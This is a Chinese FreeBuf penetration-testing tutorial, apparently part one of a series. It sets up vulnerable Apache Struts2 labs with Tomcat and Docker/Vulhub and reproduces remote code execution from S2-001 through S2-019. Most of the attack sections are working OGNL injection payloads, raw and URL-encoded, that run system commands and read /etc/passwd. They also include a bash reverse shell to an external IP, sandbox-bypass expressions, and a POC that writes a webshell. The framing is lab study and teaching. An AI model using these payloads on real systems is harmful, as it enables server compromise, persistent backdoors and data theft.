freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基服务篇:服务攻防之框架Struts2(上)
2021-12-31 13:09:01
所属地 江西省

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到学习Struts2简介、Struts2详细安装、Docker详细安装Struts2、Struts2-001至Struts2-061的全部远程代码执行攻击总结、实战武器Struts2的总结RCE使用经验等等操作,如果连Struts2都不会安装操作提权等,怎么拿下对方服务器?

二、Struts2框架渗透总结

1、简介

Struts2是一个基于MVC(Models、View、Controller)设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 Struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。

Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。

Apache Struts2 是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。

2、下载详情

可参考Apache Struts官方连接,不同版本中漏洞情况也不一致;下载对应版本Struts即可验证对应漏洞。

各版本下载:

http://archive.apache.org/dist/struts/binaries/

3、漏洞靶场

https://hub.docker.com/r/2d8ru/struts2

https://vulhub.org/

三、Struts2本地安装

1、搭建Tomcat

下载安装地址:

https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.88/bin/

开始安装java环境支撑:
image.png

双击tomcat安装包默认下一步安装即可:
image.png

默认C盘目录:
image.png

然后自动开启:
image.png

接着访问本地的8080端口:成功搭建
image.png

2、搭建各版本Struts2环境

1)S2-001
image.png
默认将源码war包丢入webapps目录下,会自动部署!

image.png
丢入后在bin目录下双击Tomacat8即可开启!

image.png
已经搭建成功!那么高版本也是一样的!后面就随机拿几个给你们演示搭建即可!

2)S2-046搭建
image.png

3)S2-059搭建
image.png
方法都是一样,只要有源码包,丢入即可自动部署完成,开始漏洞验证研究之旅。

3、IDEA搭建Tomacat

IntelliJ IDEA搭建tomcat
将 Tomcat 安装为系统服务,在 tomcat的bin目录下,cmd 中运行service.bat install,提示安装成功--->The service 'Tomcat7' has been installed,在系统服务找到它--->Apache Tomcat 7.0.94 Server。

在 cmd 中运行 **service.bat install:

1、下载IntelliJ IDEA,Ultimate版免费
2、安装IntelliJ IDEA
3、点击Run---EDit Configurations...
4、点击左侧“+”号,找到Tomcat Server---Local(若是没有找到Tomcat Server 可以点击最后一行 34 items more)
5、在Tomcat Server -> Unnamed -> Server -> Application server项目下,点击 Configuration ,找到本地 Tomcat 服务器,再点击 OK按钮

四、Struts2本地复现

这里拿本地环境搭建来做漏洞复现!

1、本地S2-001复现

1)这里先简单的以S2-001为例:
image.png
可以看到这里验证结果显示情况!

2、本地S2-057复现

(1)访问靶机:
image.png

http://127.0.0.1:8080/s2-057/index

(2)验证漏洞是否存在

/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ipconfig%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

image.png
image.png
计算器也是可以开启的!

(3)POC源码
转换url即可!

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

/actionChain1.action

五、Vulhub复现Struts2

1、S2-001远程执行代码漏洞

1)漏洞简介

(1)漏洞原理:
该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

(2)影响版本:

Struts 2.0.0 - 2.0.8

2)漏洞启动

(1)开启struts2-001漏洞
image.png

cd /home/dayu/Desktop/vulhub-master/struts2/s2-001
sudo docker-compose up -d

(2)验证是否开启

image.png

sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png

http://192.168.253.7:8080/

成功访问!!

(2)验证漏洞是否存在
image.png
输入%{'dayu'}返回dayu就是存在该漏洞!

(3)构造poc,填到password框:
image.png

Poc获取tomcat路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

(4)获取网站的真实路径:
image.png

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

(5)执行命令
image.png

new java.lang.String[]{"cat","/etc/passwd"}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image.png
image.png

bash -i >& /dev/tcp/192.168.253.65/8888 0>&1
bash -i >& /dev/tcp/x.x.x.x/port 0>&1

通过此命令可以进行反弹shell。

2、S2-005远程执行代码漏洞

1)漏洞简介

(1)漏洞原理:

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

(2)影响版本:

Struts 2.0.0-2.1.8.1

(3)绕过过程

1. 在S2-003中\u0023用于绕过struts2的过滤器#
2. 在S2-003 struts2添加安全模式(沙盒)之后
3. 在S2-005中,使用OGNL表达式关闭安全模式并再次绕过

2)漏洞启动

(1)开启struts2-005漏洞
image.png

sudo docker-compose up -d

(2)验证是否开启
image.png

sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png

http://192.168.253.7:8080/

(3)构造poc,在tmp创建一个success文件

image.png

image.png

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

成功远程代码执行创建目录文件夹!

(4)执行命令

image.png

image.png
成功远程代码执读取底层passwd文件信息!

3、S2-007远程执行代码漏洞

image.png

https://cwiki.apache.org/confluence/display/WW/S2-007

1)漏洞简介

(1)漏洞原理:

age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞

当-validation.xml配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回。

例如,这是一个UserAction:

(...)
public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;

(...)

并UserAction-validation.xml配置:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>

当用户agestr的形式提交int时,服务器"'" + value + "'"将对代码进行拼接,然后使用OGNL表达式对其进行解析。为了成功完成任务,我们需要找到一个配置有相似验证规则的表单字段,以产生转换错误。然后,您可以通过注入SQL单引号的方式注入任何OGNL表达式代码。

(2)影响版本:

Struts 2.0.0 - 2.2.3

2)漏洞启动

(1)开启struts2-007漏洞
image.png

sudo docker-compose up -d

(2)验证是否开启
image.png

sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png
image.png

http://192.168.253.7:8080/

(2)验证漏洞是否存在
image.png

'+(1+1)+'

在年龄中输入非数字类型点击登陆,年龄框的value变成11,证明漏洞存在!!

(3)查找底层目录信息
image.png

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27

枚举到了目录信息!

(4)枚举dayu.txt信息
image.png

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20/dayu.txt%27%29.getInputStream%28%29%29%29+%2B+%27

成功远程代码执行读取文件信息!

(5)这是可以执行任意代码的EXP:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

或者:
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27

将EXP放入输入框(年龄),然后获取命令执行结果:
image.png
image.png
成功远程代码执行获取id信息!

查看日志!
image.png
日志是可以查看我们的攻击行为!

4、S2-008远程执行代码漏洞

1)漏洞简介

(1)漏洞原理:
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用,使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。

(2)影响版本:
Struts 2.1.0 – 2.3.1

2)漏洞启动

(1)开启struts2-008漏洞
image.png

sudo docker-compose up -d

(2)验证是否开启
image.png

sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png

http://192.168.253.7:8080/

(2)验证漏洞是否存在
image.png

/devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id

成功远程代码执行!

5、S2-009远程执行代码漏洞

1)漏洞简介

(1)漏洞原理:

OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。ParametersInterceptor中的正则表达式将top ['foo'](0)作为有效的表达式匹配,OGNL将其作为(top ['foo'])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。

(2)影响版本:

Struts 2.1.0 - 2.3.1.1

(3)操作方法
Struts2对S2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;后来Struts2对S2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=&(example)('xxx')=1的方法来执行它,从而绕过官方对#、\等特殊字符的防御。

2)漏洞启动

(1)开启struts2-009漏洞
image.png

sudo docker-compose up -d

(2)验证是否开启
image.png

sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png

http://192.168.253.7:8080/

(2)验证漏洞是否存在:POC-1

/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

image.png

image.png
成功远程代码执行!

(3)构造poc,枚举/etc/passwd
image.png

http://192.168.253.7:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

(4)创建用户执行命令
image.png

http://192.168.253.7:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("touch /tmp/dayu009").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

成功远程代码执行!

(5)POC-2:
注意这里是转换POST访问/ajax/example5
image.png

z[%28name%29%28%27meh%27%29]&age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#s=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#s.println(#d),#s.close())(meh)}

成功远程代码执行!

6、S2-012远程执行代码漏洞

image.png

1)漏洞简介

(1)漏洞原理:

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

(2)影响版本:

Struts 2.1.0-2.3.13

2)漏洞启动

(1)开启struts2-012漏洞
image.png

sudo docker-compose up -d

(2)验证是否开启
image.png

sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png

http://192.168.253.7:8080/

(2)验证漏洞是否存在-POC-1

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c", "ls"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image.png
image.png
需要URL编码,否则500!成功远程代码执行!

(3)POC-2,进行URL编码:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image.png

成功远程代码执行!

7、S2-013远程执行代码漏洞

image.png

1)漏洞简介

(1)漏洞原理:
struts2的标签中 和 都有一个 includeParams 属性,可以设置成如下值:

none - URL中不包含任何参数(默认)
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数

此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行

(2)影响版本:

Struts 2.0.0-2.3.14

2)漏洞启动

(1)开启struts2-013漏洞
image.png

sudo docker-compose up -d

(2)验证是否开启
image.png

sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png

http://192.168.253.7:8080/

(2)验证漏洞是否存在
image.png

http://192.168.253.7:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

成功远程代码执行!

image.png
成功远程代码执行!

(3)拓展S2-014

S2-014是对S2-013的修正。因为在固定S2-013时,将忽略$ {ognl_exp}之类的OGNL表达式的执行方法,而S2-014是它的增强补丁。

http://192.168.253.7:8080/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

8、S2-015远程执行代码漏洞

image.png

1)漏洞简介

(1)漏洞原理:

如果请求与任何其他已定义的操作都不匹配,它将被*匹配,并且所请求的操作名称将用于基于操作名称加载JSP文件。并且{1}的值作为OGNL表达式受到威胁,因此允许在服务器端执行任意Java代码。此漏洞是两个问题的组合:

1. 请求的操作名称未转义或再次被列入白名单
2. 当使用$和%开放字符的组合时,对TextParseUtil.translateVariables中的OGNL表达式进行双重评估。

(2)影响版本:

Struts 2.0.0 - 2.3.14.2

2)漏洞启动

(1)开启struts2-015漏洞
image.png

sudo docker-compose up -d

(2)验证是否开启
image.png

sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png

http://192.168.253.7:8080/

(2)验证漏洞是否存在-POC-1:

这里直接使用是没有用的需要进行url编码才能使用:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}.action

image.png

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action

成功远程代码执行!

(3)POC-2:

${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action

url编码之后:
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action

image.png
image.png
成功远程代码执行!

9、S2-016远程执行代码漏洞-未完成!

1)漏洞简介

(1)漏洞原理:

问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行

(2)影响版本:

Struts 2.0.0 – 2.3.15

2)漏洞启动

(1)拉取镜像到本地
image.png

sudo docker pull medicean/vulapps:s_struts2_s2-016

(2)开启和验证是否开启
image.png

sudo docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-016
sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png

http://192.168.253.7:8888/

(2)验证漏洞是否存在-POC-1:获取ID

访问http://your-ip:8080/index.action?redirect:OGNL expression以执行OGNL表达式:

http://192.168.253.7:8888/default.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D

image.png
成功远程代码执行!

(3)POC-2:获取网页目录

http://192.168.253.7:8888/default.action?redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

经过URL编码:
image.png
image.png
成功远程代码执行!

(4)POC-3:执行uname -a

http://192.168.253.7:8888/default.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

image.png

成功远程代码执行!

(5)POC-4:获取webshell

http://192.168.253.7:8888/default.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

成功远程代码执行!

10、S2-019远程执行代码漏洞

1)漏洞简介

(1)漏洞原理:

要求开发者模式,且poc第一个参数是debug,触发点在DebuggingInterceptor上,查看intercept函数,从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中

(2)影响版本:

Struts 2.0.0 - 2.3.15.1

2)漏洞启动

(1)拉取漏洞环境镜像到本地
image.png

docker pull medicean/vulapps:s_struts2_s2-019

(2)拉取漏洞环境镜像到本地
image.png

docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-019
sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png

http://192.168.253.7:8888/example/HelloWorld.action

(2)验证漏洞是否存在POC:

?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()

进行Url编码后使用
?%64%65%62%75%67=%63%6f%6d%6d%61%6e%64&%65%78%70%72%65%73%73%69%6f%6e=%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%27%69%64%27%29%29%2e%73%74%61%72%74%28%29%2c%23%62=%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63=%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65=%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6f%75%74=%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%27%64%62%61%70%70%3a%27%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%65%29%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29

image.png
成功远程代码执行!

(3)退出环境:
image.png

docker ps 查看容器ID
docker stop 容器ID

11、S2-029远程执行代码漏洞

1)漏洞简介

(1)漏洞原理:

Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中:

在Struts2中,如下的标签就调用了OGNL进行取值。

<p>parameters: <s:property value="#parameters.msg" /></p>

